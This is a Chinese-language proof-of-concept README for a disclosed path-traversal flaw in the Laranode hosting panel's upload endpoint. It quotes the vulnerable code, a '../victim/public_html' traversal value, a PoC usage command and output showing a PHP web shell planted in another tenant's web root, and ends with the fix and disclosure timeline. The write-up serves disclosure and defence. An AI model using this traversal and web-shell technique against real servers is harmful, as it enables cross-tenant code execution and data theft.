授权安全研究。PoC 仅供防御和教育用途。
Laranode 文件管理器上传端点中的已认证路径遍历漏洞,允许低权限租户将任意文件写入其自身主目录之外——包括将 PHP Web Shell 写入另一个租户的 Web 根目录——从而导致以该租户身份执行远程代码。
| CVE | CVE-2026-100520 |
| 产品 | Laranode(多租户托管控制面板,Laravel) |
| 受影响版本 | >= 0, < 1.2.1 |
| 修复版本 | v1.2.1 |
| 漏洞类型 | 路径遍历 (CWE-22) → 任意文件写入 → RCE |
| 所需权限 | 已认证(任意低权限面板用户) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| 发现者 | Alisher Qarshibayev |
| 安全公告 | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php 通过直接将用户提供的 path 和 originalName 请求字段拼接到租户的主目录上来构建目标路径——没有规范化,也没有遍历检查:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
该路由仅受 auth 中间件保护——任何已认证的租户都可以访问:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
由于 path 接受 ../ 序列,像 ../victim/public_html 这样的值会逃逸调用者的主目录,并将上传文件落入另一个租户的 Web 根目录。在那里写入一个 .php 文件,一旦通过 HTTP 请求该文件,就会导致代码执行。
要求:目标 Laranode 实例上的一个有效低权限账户(这是该 CVE 所假设的权限)。PoC 会登录、获取 CSRF 令牌,并通过路径遍历将一个标记 PHP 文件写入同级租户的 Web 根目录。
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
预期结果——服务器确认写入目标位于攻击者主目录之外:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
参见 poc.py。标记 Shell 仅运行 id/uname 以证明执行——没有破坏性操作。
升级到 Laranode 1.2.1(修复提交)。
该修复会规范化解析后的路径,并拒绝任何逃逸租户主目录的目标路径(realpath() 包含性检查)。一般性指导:切勿从原始用户输入构建文件系统路径——应进行规范化并确认结果保持在允许的基础目录内。
| 日期 | 事件 |
|---|---|
| 2026-09-21 | 公开披露日期 |
| 2026-09-26 | CVE-2026-100520 预留并发布(VulnCheck) |
已负责任地披露给供应商,并通过 VulnCheck 进行协调。在此 PoC 发布之前已在 v1.2.1 中修复。出于防御和教育目的发布。